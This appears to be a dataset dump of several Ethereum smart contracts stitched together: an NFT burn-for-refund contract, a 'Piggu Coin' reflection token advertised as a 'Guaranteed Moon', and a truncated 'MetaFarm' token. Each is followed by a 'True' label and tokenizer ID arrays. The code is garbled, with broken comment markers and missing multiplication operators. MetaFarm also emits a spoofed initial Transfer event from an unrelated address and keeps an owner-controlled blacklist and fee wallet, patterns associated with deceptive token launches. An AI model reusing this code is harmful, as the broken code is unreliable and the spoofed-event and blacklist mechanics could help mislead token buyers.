caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: Test.sol pragma solidity ^0.8.0; contract TrippedOut is Ownable, IERC721Receiver{ using SafeMath for uint256; using Address for address payable; //Burn info address public originalNFTAddress; bool public burnIsActive = false; uint256 public refundAmount; / * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } constructor( address _originalNFTAddress, uint256 _refundAmount ){ originalNFTAddress = _originalNFTAddress; refundAmount = _refundAmount; } modifier whenPublicBurnActive() { require(burnIsActive, "Public burn is not active"); _; } function togglePublicBurnActive() public onlyOwner { burnIsActive = !burnIsActive; } function setOriginalNFTAddress(address _originalNFTAddress) public onlyOwner { originalNFTAddress = _originalNFTAddress; } function setRefundAmound(uint256 _refundAmount) public onlyOwner { refundAmount = _refundAmount; } function setApprovalForAll(address _to, bool _approved) public onlyOwner { IERC721(originalNFTAddress).setApprovalForAll(_to, _approved); } function transferOut(uint256[] calldata tokenIds, address _to) public onlyOwner { for(uint i = 0; i < tokenIds.length; i++){ require(IERC721(originalNFTAddress).ownerOf(tokenIds[i]) == address(this), "contract own NFT to transfer"); IERC721(originalNFTAddress).safeTransferFrom(address(this), _to, tokenIds[i]); } } function TRIPPEDOUT(uint256[] calldata tokenIds, address payable payee) public whenPublicBurnActive { // check all token conditions first // @dev tokens 0-152 are genesis tokens for(uint i = 0; i < tokenIds.length; i++){ require(tokenIds[i] <= 152, "Can only burn genesis tokens 0-152"); require(IERC721(originalNFTAddress).ownerOf(tokenIds[i]) == msg.sender, "Must own NFT to burn."); } // transfer tokens to contract for(uint i = 0; i < tokenIds.length; i++){ IERC721(originalNFTAddress).safeTransferFrom(msg.sender, address(this), tokenIds[i]); } // pay out payee payee.sendValue(refundAmount.mul(tokenIds.length)); } function deposit() public payable {} // allow owner to withdraw all funds if needed function withdraw(address payable _to) public onlyOwner { _to.sendValue(address(this).balance); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2539, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 14046, 1013, 1013, 2023, 2544, 1997, 3647, 18900, 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/** Submitted for verification at Etherscan.io on 2021-06-07 / // Piggu Coin (PIGGU). fuck Shiba, OG Piggu //Guaranteed Moon //35% burn and distribution to holders/liquidity //Liquidity Locked //TG: https://t.me/piggucoin //Website: TBA pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PigguCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 109; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'Piggu Coin'; string private _symbol = 'PIGGU 🍪'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/tTransferAmount/, _localVal[1] /tFee/, _localVal[2] /*tBurnValue/,_localVal[8]/tTAx/,_localVal[10]/*tLiquidity/) = _getTValues(tAmount); _localVal[3] /*currentRate/ = _getRate(); ( _localVal[4] /*rAmount/, _localVal[5] /*rTransferAmount/, _localVal[6] /*rFee/, _localVal[7] /*rBurnValue/,_localVal[9]/rTax/,_localVal[11]/*rLiquidity/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/*tTax/ = tAmount.div(5); _localVal[1]/*tBurnValue/ = tAmount.div(100).mul(3); _localVal[2]/*tFee/ = tAmount.div(100).mul(2); _localVal[3]/*tLiquidity/ = tAmount.div(100).mul(10); _localVal[4]/*tTransferAmount/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5718, 1008, 1013, 1013, 1013, 10369, 12193, 9226, 1006, 10369, 12193, 1007, 1012, 6616, 11895, 3676, 1010, 13958, 10369, 12193, 1013, 1013, 12361, 4231, 1013, 1013, 3486, 1003, 6402, 1998, 4353, 2000, 13304, 1013, 6381, 3012, 1013, 1013, 6381, 3012, 5299, 1013, 1013, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 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/** Submitted for verification at Etherscan.io on 2021-11-29 / /** Token: MetaFarm Symbol: METAFARM High yielding farming within the metaverse / pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MetaFarm is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MetaFarm"; string private constant _symbol = "METAFARM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xfE11fCC48A58917BF77A2e6E0275DCCd648499Be); _feeAddrWallet2 = payable(0xfE11fCC48A58917BF77A2e6E0275DCCd648499Be); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xBDe115EF69582BD8a4658b2BEdD73c5F245CC7FA), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 13; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = 